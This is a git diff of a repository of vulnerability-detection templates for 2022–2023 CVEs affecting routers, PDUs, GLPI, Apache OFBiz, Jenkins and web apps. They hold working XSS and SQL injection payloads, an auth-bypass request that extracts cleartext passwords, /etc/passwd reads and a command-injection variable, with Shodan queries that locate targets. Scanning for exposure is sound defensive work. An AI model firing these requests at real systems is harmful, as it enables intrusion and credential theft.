https://medium.com/%40bhattronit96/cve-2022-30777-45725763ab59 + - https://en.wikipedia.org/wiki/H-Sphere classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-30777 cwe-id: CWE-79 - epss-score: 0.001 - epss-percentile: 0.41109 - cpe: cpe:2.3:a:parallels:h-sphere:3.6.2:*:*:*:*:*:*:* metadata: - verified: true - max-request: 2 - vendor: parallels - product: h-sphere shodan-query: title:"h-sphere" + verified: "true" tags: cve,cve2022,parallels,hsphere,xss - -http: +requests: - method: GET path: - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - stop-at-first-match: true - matchers-condition: and matchers: - type: word words: - '"><script>alert(document.domain)</script>' - - type: word part: header words: - "text/html" - - type: status status: - 200 -# digest: 490a004630440220395810658e7a6e75c7e6be09c6f0cc6296b7b3ff7e63e262149b60c34ccb64520220657971320378b3ec006504c842a8a89480c3f29f05edabd1228e2c977c1c46f4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-31373.yaml b/poc/cve/CVE-2022-31373.yaml index e553638ad0..c09b86777f 100644 --- a/poc/cve/CVE-2022-31373.yaml +++ b/poc/cve/CVE-2022-31373.yaml @@ -1,13 +1,10 @@ id: CVE-2022-31373 - info: - name: SolarView Compact 6.00 - Cross-Site Scripting + name: SolarView Compact 6.00 - Cross-Site Scripting(XSS) author: ritikchaddha severity: medium description: | - SolarView Compact 6.00 contains a cross-site scripting vulnerability via Solar_AiConf.php. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. - remediation: | - Upgrade to the latest version to mitigate this vulnerability. + SolarView Compact v6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component Solar_AiConf.php. reference: - https://github.com/badboycxcc/SolarView_Compact_6.0_xss - https://nvd.nist.gov/vuln/detail/CVE-2022-31373 @@ -16,37 +13,24 @@ info: cvss-score: 6.1 cve-id: CVE-2022-31373 cwe-id: CWE-79 - epss-score: 0.00099 - epss-percentile: 0.4077 - cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.0:*:*:*:*:*:*:* metadata: - verified: true - max-request: 1 - vendor: contec - product: sv-cpt-mc310_firmware shodan-query: http.html:"SolarView Compact" + verified: "true" tags: cve,cve2022,xss,solarview - -http: +requests: - method: GET path: - '{{BaseURL}}/Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - matchers-condition: and matchers: - type: word part: body words: - '/Solar_AiConf.php/"><script>alert(document.domain)</script>' - - 'HREF="Solar_Service.php"' - condition: and - - type: word part: header words: - "text/html" - - type: status status: - 200 -# digest: 490a00463044022063ce86959f637a039dd9acd1e8993a2c4124121fa833c40bd6571c7b3eb3b8e702204cc2bef3814d74efb00a2bdeb1e259ccdc906f037f999663770feca5da5847b4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-32018.yaml b/poc/cve/CVE-2022-32018.yaml index d3b12d52f3..1fa8cbf9bc 100644 --- a/poc/cve/CVE-2022-32018.yaml +++ b/poc/cve/CVE-2022-32018.yaml @@ -1,13 +1,10 @@ id: CVE-2022-32018 - info: - name: Complete Online Job Search System 1.0 - SQL Injection + name: Complete Online Job Search System v1.0 - SQL Injection author: arafatansari severity: high description: | - Complete Online Job Search System 1.0 contains a SQL injection vulnerability via /eris/index.php?q=hiring&search=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. - remediation: | - Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Complete Online Job Search System 1.0. + Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/index.php?q=hiring&search=. reference: - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-12.md - https://nvd.nist.gov/vuln/detail/CVE-2022-32018 @@ -16,26 +13,17 @@ info: cvss-score: 7.2 cve-id: CVE-2022-32018 cwe-id: CWE-89 - epss-score: 0.00666 - epss-percentile: 0.77425 - cpe: cpe:2.3:a:complete_online_job_search_system_project:complete_online_job_search_system:1.0:*:*:*:*:*:*:* metadata: - verified: true - max-request: 1 - vendor: complete_online_job_search_system_project - product: complete_online_job_search_system + verified: "true" tags: cve,cve2022,sqli variables: num: "999999999" - -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5({{num}}),11,12,13,14,15,16,17,18,19--+" - matchers: - type: word part: body words: - '{{md5({{num}})}}' -# digest: 4a0a00473045022100da12b4d998c8fa697043c9bf1ff6f2790813c275472fbb070343f3da63ce9fd902201dedaa1e52f230036ab54a6befc621bc842c9c78b878209be2223eb92e68c879:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-32028.yaml b/poc/cve/CVE-2022-32028.yaml index 5213c17713..6afb4dca59 100644 --- a/poc/cve/CVE-2022-32028.yaml +++ b/poc/cve/CVE-2022-32028.yaml @@ -1,13 +1,10 @@ id: CVE-2022-32028 - info: - name: Car Rental Management System 1.0 - SQL Injection + name: Car Rental Management System v1.0 - SQL Injection author: arafatansari severity: high description: | - Car Rental Management System 1.0 contains an SQL injection vulnerability via /admin/manage_user.php?id=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. - remediation: | - Upgrade to the latest version to mitigate this vulnerability. + Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/manage_user.php?id=. reference: - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md - https://nvd.nist.gov/vuln/detail/CVE-2022-32028 @@ -16,21 +13,14 @@ info: cvss-score: 7.2 cve-id: CVE-2022-32028 cwe-id: CWE-89 - epss-score: 0.00666 - epss-percentile: 0.77425 - cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:* metadata: - verified: true - max-request: 2 - vendor: car_rental_management_system_project - product: car_rental_management_system - shodan-query: http.html:"Car Rental Management System" comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username. + shodan-query: http.html:"Car Rental Management System" + verified: "true" tags: cve,cve2022,carrental,cms,sqli,authenticated variables: num: "999999999" - -http: +requests: - raw: - | POST /admin/ajax.php?action=login HTTP/1.1 @@ -41,19 +31,16 @@ http: - | GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1 Host: {{Hostname}} - skip-variables-check: true - host-redirects: true + redirects: true max-redirects: 2 - + cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - '{{md5({{num}})}}' - - type: status status: - 200 -# digest: 4a0a00473045022100efcc8c42d2c7d8e0f883b365a7a7dbc51f136352d76ef5ae604c6f8db799645d0220194184d080e4b2f9beca67a2f8a38c24e38d2d95aab2f39b084a32cdb67b6260:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-32444.yaml b/poc/cve/CVE-2022-32444.yaml index b8298e2bc8..1460ae469c 100644 --- a/poc/cve/CVE-2022-32444.yaml +++ b/poc/cve/CVE-2022-32444.yaml @@ -6,8 +6,6 @@ info: severity: medium description: | u5cms version 8.3.5 contains a URL redirection vulnerability that can cause a user's browser to be redirected to another site via /loginsave.php. - remediation: | - Apply the latest patch or update to a version that has fixed this vulnerability. reference: - https://github.com/u5cms/u5cms/issues/50 - https://nvd.nist.gov/vuln/detail/CVE-2022-32444 @@ -16,16 +14,9 @@ info: cvss-score: 6.1 cve-id: CVE-2022-32444 cwe-id: CWE-601 - epss-score: 0.00252 - epss-percentile: 0.62982 - cpe: cpe:2.3:a:yuba:u5cms:8.3.5:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: yuba - product: u5cms tags: cve,cve2022,redirect,u5cms,cms -http: +requests: - method: GET path: - '{{BaseURL}}/loginsave.php?u=http://interact.sh' @@ -34,5 +25,6 @@ http: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 -# digest: 4a0a00473045022100a78914985e18f5cbb208997f1dd7b38bb25273066dafdf058a929e48393ec9da02207604d0175228d8ce01f127bc96c071e03e41cde12f8736b825a78a436f806972:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + +# Enhanced by cs 05/30/2022 diff --git a/poc/cve/CVE-2022-33174.yaml b/poc/cve/CVE-2022-33174.yaml index 65b066d61c..26dd8298df 100644 --- a/poc/cve/CVE-2022-33174.yaml +++ b/poc/cve/CVE-2022-33174.yaml @@ -1,13 +1,10 @@ id: CVE-2022-33174 - info: - name: Powertek Firmware <3.30.30 - Authorization Bypass + name: Powertek Firmware - Authorization Bypass author: pikpikcu severity: high description: | - Powertek firmware (multiple brands) before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext. - remediation: | - Upgrade the Powertek Firmware to version 3.30.30 or higher to mitigate the vulnerability. + Power Distribution Units running on Powertek firmware (multiple brands) before 3.30.30 allows remote authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext. reference: - https://gynvael.coldwind.pl/?lang=en&id=748 - https://nvd.nist.gov/vuln/detail/CVE-2022-33174 @@ -16,40 +13,29 @@ info: cvss-score: 7.5 cve-id: CVE-2022-33174 cwe-id: CWE-863 - epss-score: 0.00597 - epss-percentile: 0.75966 - cpe: cpe:2.3:o:powertekpdus:basic_pdu_firmware:*:*:*:*:*:*:*:* metadata: - verified: true - max-request: 1 - vendor: powertekpdus - product: basic_pdu_firmware shodan-query: http.html:"Powertek" + verified: "true" tags: cve,cve2022,powertek,auth-bypass - -http: +requests: - raw: - | GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1 Host: {{Hostname}} Cookie: tmpToken=; - matchers-condition: and matchers: - type: word words: - '<sys.passwd>' - '<sys.su.name>' - - type: status status: - 200 - extractors: - type: regex + part: body group: 1 regex: - '<sys\.passwd>([A-Z0-9a-z]+)<\/sys\.passwd>' - '<sys\.su\.name>([a-z]+)<\/sys\.su\.name>' - part: body -# digest: 4a0a004730450220315482ba4dd772da1bffe523397945e91ca39b98350aa9aa3ca2945532fdec320221009ba7a828009f3f70d9a5430781da4cdb079ba892d89c140cb21be1b3ffc4b612:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-34046.yaml b/poc/cve/CVE-2022-34046.yaml index d82b9bd94d..0e55de9a03 100644 --- a/poc/cve/CVE-2022-34046.yaml +++ b/poc/cve/CVE-2022-34046.yaml @@ -1,40 +1,22 @@ id: CVE-2022-34046 - info: - name: WAVLINK WN533A8 - Improper Access Control + name: Wavlink Sysinit.shtml - Password Exposure author: For3stCo1d severity: high description: | - WAVLINK WN533A8 M33A8.V5030.190716 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - remediation: | - Apply the latest firmware update provided by the vendor to fix the access control issue. + An access control issue in Wavlink WN533A8 M33A8.V5030.190716 allows attackers to obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);]. reference: - https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046 - - http://packetstormsecurity.com/files/167890/Wavlink-WN533A8-Password-Disclosure.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-34046 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-34046 - cwe-id: CWE-863 - epss-score: 0.21264 - epss-percentile: 0.95934 - cpe: cpe:2.3:o:wavlink:wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:* metadata: verified: true - max-request: 1 - vendor: wavlink - product: wn533a8_firmware shodan-query: http.title:"Wi-Fi APP Login" - tags: packetstorm,cve,cve2022,wavlink,router,exposure - -http: + tags: cve,cve2022,wavlink,router,exposure +requests: - raw: - | GET /sysinit.shtml?r=52300 HTTP/1.1 Host: {{Hostname}} - matchers-condition: and matchers: - type: word @@ -43,13 +25,10 @@ http: - 'var syspasswd="' - '<title>APP' condition: and - - type: status status: - 200 - extractors: - type: regex regex: - 'syspasswd="(.+?)"' -# digest: 4b0a00483046022100bafc9417f898a2840edb34b17f554073320d96a46a4e44a009a4350115aac1bc022100c10d0717b078a31e6af838fde56852768f583696680154acb50c5266f8ea8960:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-34047.yaml b/poc/cve/CVE-2022-34047.yaml index 4601f6daa5..8bb1d25c72 100644 --- a/poc/cve/CVE-2022-34047.yaml +++ b/poc/cve/CVE-2022-34047.yaml @@ -1,22 +1,40 @@ id: CVE-2022-34047 + info: - name: Wavlink Set_safety.shtml - Password Exposure + name: WAVLINK WN530HG4 - Improper Access Control author: For3stCo1d severity: high description: | - An access control issue in Wavlink WN530HG4 M30HG4.V5030.191116 allows attackers to obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd]. + WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations. + remediation: | + Apply the latest firmware update provided by the vendor to fix the access control issue. reference: - https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047 + - http://packetstormsecurity.com/files/167891/Wavlink-WN530HG4-Password-Disclosure.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-34047 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-34047 + cwe-id: CWE-668 + epss-score: 0.22865 + epss-percentile: 0.96043 + cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:* metadata: verified: true + max-request: 1 + vendor: wavlink + product: wl-wn530hg4_firmware shodan-query: http.title:"Wi-Fi APP Login" - tags: cve,cve2022,wavlink,router,exposure -requests: + tags: cve2022,wavlink,router,exposure,packetstorm,cve + +http: - raw: - | GET /set_safety.shtml?r=52300 HTTP/1.1 Host: {{Hostname}} + matchers-condition: and matchers: - type: word @@ -25,10 +43,13 @@ requests: - 'var syspasswd="' - 'APP' condition: and + - type: status status: - 200 + extractors: - type: regex regex: - 'syspasswd="(.+?)"' +# digest: 4a0a0047304502203e6425d62dbc524c88d9f4d728e5428b5519a34035c0500d1ed02ee54cff39c7022100ff3de55402f12ada4d323b5ae463cba5dbb44baeb439269ce989ceb58f13ade5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-34048.yaml b/poc/cve/CVE-2022-34048.yaml index 7292a945a4..7e4a956e81 100644 --- a/poc/cve/CVE-2022-34048.yaml +++ b/poc/cve/CVE-2022-34048.yaml @@ -1,41 +1,55 @@ id: CVE-2022-34048 + info: - name: Wavlink WN533A8 - Cross-Site Scripting (XSS) + name: Wavlink WN-533A8 - Cross-Site Scripting author: ritikchaddha severity: medium description: | - Wavlink WN533A8 M33A8.V5030.190716 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the login_page parameter. + Wavlink WN-533A8 M33A8.V5030.190716 contains a reflected cross-site scripting vulnerability via the login_page parameter. + remediation: | + Apply the latest firmware update provided by the vendor to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/50989 - - https://nvd.nist.gov/vuln/detail/CVE-2022-34048 - https://drive.google.com/file/d/1xznFhH3w3TDN2RCdX62_ebylR4yaKmzf/view?usp=sharing - https://drive.google.com/file/d/1NI3-k3AGIsSe2zjeigl1GVyU1VpG1SV3/view?usp=sharing + - https://nvd.nist.gov/vuln/detail/CVE-2022-34048 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-34048 cwe-id: CWE-79 + epss-score: 0.0009 + epss-percentile: 0.38133 + cpe: cpe:2.3:o:wavlink:wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:* metadata: + verified: true + max-request: 1 + vendor: wavlink + product: wn533a8_firmware shodan-query: http.html:"Wavlink" - verified: "true" - tags: cve,cve2022,wavlink,xss,router -requests: + tags: cve2022,wavlink,xss,router,edb,cve + +http: - raw: - | POST /cgi-bin/login.cgi HTTP/1.1 Host: {{Hostname}} newUI=1&page=login&username=admin&langChange=0&ipaddr=196.219.234.10&login_page=x");alert(9);x=("&homepage=main.html&sysinitpage=sysinit.shtml&wizardpage=wiz.shtml&hostname=0.0.0.1&key=M94947765&password=ab4e98e4640b6c1ee88574ec0f13f908&lang_select=en + matchers-condition: and matchers: - type: word part: body words: - 'x");alert(9);x=("?login=0");' + - type: word part: header words: - "text/html" + - type: status status: - 200 +# digest: 4a0a004730450221009bdc77f77eb66f778dee6a75e98c88a6bcd5e808092e54fda860131ddb410dfa02203dd0c252c21a4aa4cb205a96dd5488ddb1fccc30d33ba60d892a8c2e61f3b4f3:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-34049.yaml b/poc/cve/CVE-2022-34049.yaml index 18d404e7f4..6a78378e04 100644 --- a/poc/cve/CVE-2022-34049.yaml +++ b/poc/cve/CVE-2022-34049.yaml @@ -1,41 +1,29 @@ id: CVE-2022-34049 - info: - name: WAVLINK WN530HG4 - Improper Access Control + name: Wavlink Exportlogs.sh - Configuration Exposure author: For3stCo1d severity: medium description: | - Wavlink WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can download log files and configuration data via Exportlogs.sh and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - remediation: | - Apply the latest firmware update provided by the vendor to fix the access control issue. + An access control issue in Wavlink WN530HG4 M30HG4.V5030.191116 allows unauthenticated attackers to download log files and configuration data. reference: - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34049 - https://drive.google.com/file/d/1ZeSwqu04OghLQXeG7emU-w-Amgadafqx/view?usp=sharing - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view?usp=sharing - - https://nvd.nist.gov/vuln/detail/CVE-2022-34049 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2022-34049 cwe-id: CWE-552 - epss-score: 0.14992 - epss-percentile: 0.95267 - cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:* metadata: - verified: true - max-request: 1 - vendor: wavlink - product: wl-wn530hg4_firmware shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" tags: cve,cve2022,wavlink,router,exposure - -http: +requests: - raw: - | GET /cgi-bin/ExportLogs.sh HTTP/1.1 Host: {{Hostname}} - matchers-condition: and matchers: - type: word @@ -44,13 +32,10 @@ http: - 'Login' - 'Password' condition: and - - type: word part: header words: - filename="sysLogs.txt" - - type: status status: - 200 -# digest: 4b0a00483046022100c105baf81eece25876bb160c12d4020488d8704a9471c6741843cdf519aeb7cf022100ea687a1bbdac5c1f579a5a45a454b6fb66e7032e80bbffd0b05f0fa19b0b165c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-34534.yaml b/poc/cve/CVE-2022-34534.yaml new file mode 100644 index 0000000000..d997949422 --- /dev/null +++ b/poc/cve/CVE-2022-34534.yaml @@ -0,0 +1,41 @@ +id: CVE-2022-34534 + +info: + name: Digital Watchdog DW Spectrum Server 4.2.0.32842 - Information Disclosure + author: ritikchaddha + severity: high + description: | + Digital Watchdog DW Spectrum Server 4.2.0.32842 allows attackers to access sensitive infromation via a crafted API call. + reference: + - https://gist.github.com/secgrant/820faeeaa0cb4889edaa1d6fef83deab + - https://nvd.nist.gov/vuln/detail/CVE-2022-34534 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-34534 + cwe-id: CWE-200 + epss-score: 0.0015 + epss-percentile: 0.51136 + cpe: cpe:2.3:o:dw:spectrum_server_firmware:4.2.0.32842:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: dw + product: spectrum_server_firmware + shodan-query: http.favicon.hash:868509217 + fofa-query: icon_hash="868509217" + tags: cve,cve2022,digital-watchdog,dw,spectrum,exposure + +http: + - method: GET + path: + - "{{BaseURL}}/api/moduleInformation" + + matchers: + - type: dsl + dsl: + - 'contains_all(body, "name\":", "cloudHost\":", "remoteAddresses")' + - 'contains(header, "application/json")' + - 'status_code == 200' + condition: and +# digest: 4b0a00483046022100b929a8a54afa3e963a79545f42fc9bdb1dddd4510cd9fbdb0f34370d45eeef54022100ef046751c804e934307fb72d4183de3b54ab818022b2c7b7e0bb35b6bc09269e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-35914.yaml b/poc/cve/CVE-2022-35914.yaml index 00d4ea6869..2d8006fec2 100644 --- a/poc/cve/CVE-2022-35914.yaml +++ b/poc/cve/CVE-2022-35914.yaml @@ -1,30 +1,38 @@ id: CVE-2022-35914 info: - name: GLPI - Remote Code Execution + name: GLPI <=10.0.2 - Remote Command Execution author: For3stCo1d severity: critical description: | - /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module for GLPI through 10.0.2 allows PHP code injection. + GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module. + remediation: | + Upgrade GLPI to a version higher than 10.0.2 to mitigate this vulnerability. reference: - https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914 - https://github.com/cosad3s/CVE-2022-35914-poc - - https://nvd.nist.gov/vuln/detail/CVE-2022-35914 - http://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawed + - https://nvd.nist.gov/vuln/detail/CVE-2022-35914 + - https://github.com/glpi-project/glpi/releases classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-35914 cwe-id: CWE-74 + epss-score: 0.96863 + epss-percentile: 0.99623 + cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:* metadata: + verified: true + max-request: 1 + vendor: glpi-project + product: glpi shodan-query: http.favicon.hash:"-1474875778" - verified: "true" - tags: cve,cve2022,glpi,rce - + tags: cve,cve2022,glpi,rce,kev variables: cmd: "cat+/etc/passwd" -requests: +http: - raw: - | POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1 @@ -44,3 +52,4 @@ requests: - type: status status: - 200 +# digest: 4a0a00473045022100eb261a6b3b01de5ea2b002b0b8d847c8e919457698a089a29acbb1eeead109720220669d3651f94c49963a3951808c93ccb899ca766dbf8e7838998d2ffde2f80f5d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-36883.yaml b/poc/cve/CVE-2022-36883.yaml index 2be945f370..5df58638f2 100644 --- a/poc/cve/CVE-2022-36883.yaml +++ b/poc/cve/CVE-2022-36883.yaml @@ -1,27 +1,49 @@ id: CVE-2022-36883 + info: - name: A missing permission check in Jenkins Git Plugin 4.11.3 and earlier allows unauthenticated attackers to trigger builds of jobs configured to use an attacker-specified Git repository and to cause them to check out an attacker-specified commit. - severity: high + name: Jenkins Git <=4.11.3 - Missing Authorization author: c-sh0 + severity: high + description: Jenkins Git plugin through 4.11.3 contains a missing authorization check. An attacker can trigger builds of jobs configured to use an attacker-specified Git repository and to cause them to check out an attacker-specified commit. This can make it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. + remediation: | + Upgrade to a fixed version of the Jenkins Git plugin (>=4.11.4) or apply the provided patch to mitigate the vulnerability. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-36883 - https://www.jenkins.io/security/advisory/2022-07-27/#SECURITY-284 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-36883 + - https://nvd.nist.gov/vuln/detail/CVE-2022-36883 + - http://www.openwall.com/lists/oss-security/2022/07/27/1 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N cvss-score: 7.5 cve-id: CVE-2022-36883 cwe-id: CWE-862 - tags: cve,cve2022,jenkins,plugin,git,unauth -requests: + epss-score: 0.01083 + epss-percentile: 0.82667 + cpe: cpe:2.3:a:jenkins:git:*:*:*:*:*:jenkins:*:* + metadata: + verified: true + max-request: 1 + vendor: jenkins + product: git + framework: jenkins + shodan-query: X-Jenkins + tags: cve,cve2022,jenkins,plugin,git,intrusive + +http: - method: GET path: - "{{BaseURL}}/git/notifyCommit?url={{randstr}}&branches={{randstr}}" + matchers-condition: and matchers: - - type: status - status: - - 200 - type: word part: body words: - - '{{randstr}}' + - "repository:" + - SCM API plugin + condition: and + + - type: status + status: + - 200 +# digest: 490a00463044022079a183ac5f8920bca55c072314fc6dff48fe7751be820cdb81489151d25965b1022044af0bc9052dea13809fe10b7b25d1e30b2b7c633094318b95288223042bf821:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-47501.yaml b/poc/cve/CVE-2022-47501.yaml new file mode 100644 index 0000000000..9b12e3ac63 --- /dev/null +++ b/poc/cve/CVE-2022-47501.yaml @@ -0,0 +1,57 @@ +id: CVE-2022-47501 + +info: + name: Apache OFBiz < 18.12.07 - Local File Inclusion + author: your3cho + severity: high + description: | + Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07. + reference: + - https://lists.apache.org/thread/k8s76l0whydy45bfm4b69vq0mf94p3wc + - http://www.openwall.com/lists/oss-security/2023/04/18/5 + - https://nvd.nist.gov/vuln/detail/CVE-2022-47501 + - http://www.openwall.com/lists/oss-security/2023/04/18/9 + - http://www.openwall.com/lists/oss-security/2023/04/19/1 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-47501 + cwe-id: CWE-22 + epss-score: 0.12161 + epss-percentile: 0.94898 + cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: apache + product: ofbiz + shodan-query: "html:\"OFBiz\"" + fofa-query: "app=\"Apache_OFBiz\"" + tags: cve,cve2022,apache,ofbiz,lfi + +http: + - method: GET + path: + - "{{BaseURL}}/solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file://{{path}}" + + payloads: + path: + - /etc/passwd + - c:/windows/win.ini + + stop-at-first-match: true + matchers-condition: or + matchers: + - type: dsl + dsl: + - "regex('root:.*:0:0:', body)" + - "status_code == 200" + condition: and + + - type: dsl + dsl: + - "contains(body, 'bit app support')" + - "contains(body, 'fonts')" + - "contains(body, 'extensions')" + - "status_code == 200" + condition: and +# digest: 4b0a00483046022100d211f452a16960f2a6c0e2a0e03cbb6d4c45711575d380ea3dbd44eb90b3b075022100be606f28dd5f235f36b247b778f2be2bbd3a10ad900979d2d63417e35ce02265:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2023-24044.yaml b/poc/cve/CVE-2023-24044.yaml index b551c850ac..0a2696716b 100644 --- a/poc/cve/CVE-2023-24044.yaml +++ b/poc/cve/CVE-2023-24044.yaml @@ -1,37 +1,28 @@ id: CVE-2023-24044 info: - name: Plesk Obsidian <=18.0.49 - Open Redirect + name: Plesk Obsidian - Host Header Injection author: pikpikcu severity: medium description: | - Plesk Obsidian through 18.0.49 contains an open redirect vulnerability via the login page. An attacker can redirect users to malicious websites via a host request header and thereby access user credentials and execute unauthorized operations. NOTE: The vendor's position is "the ability to use arbitrary domain names to access the panel is an intended feature." - remediation: | - Upgrade Plesk Obsidian to a version higher than 18.0.49 to mitigate the vulnerability. 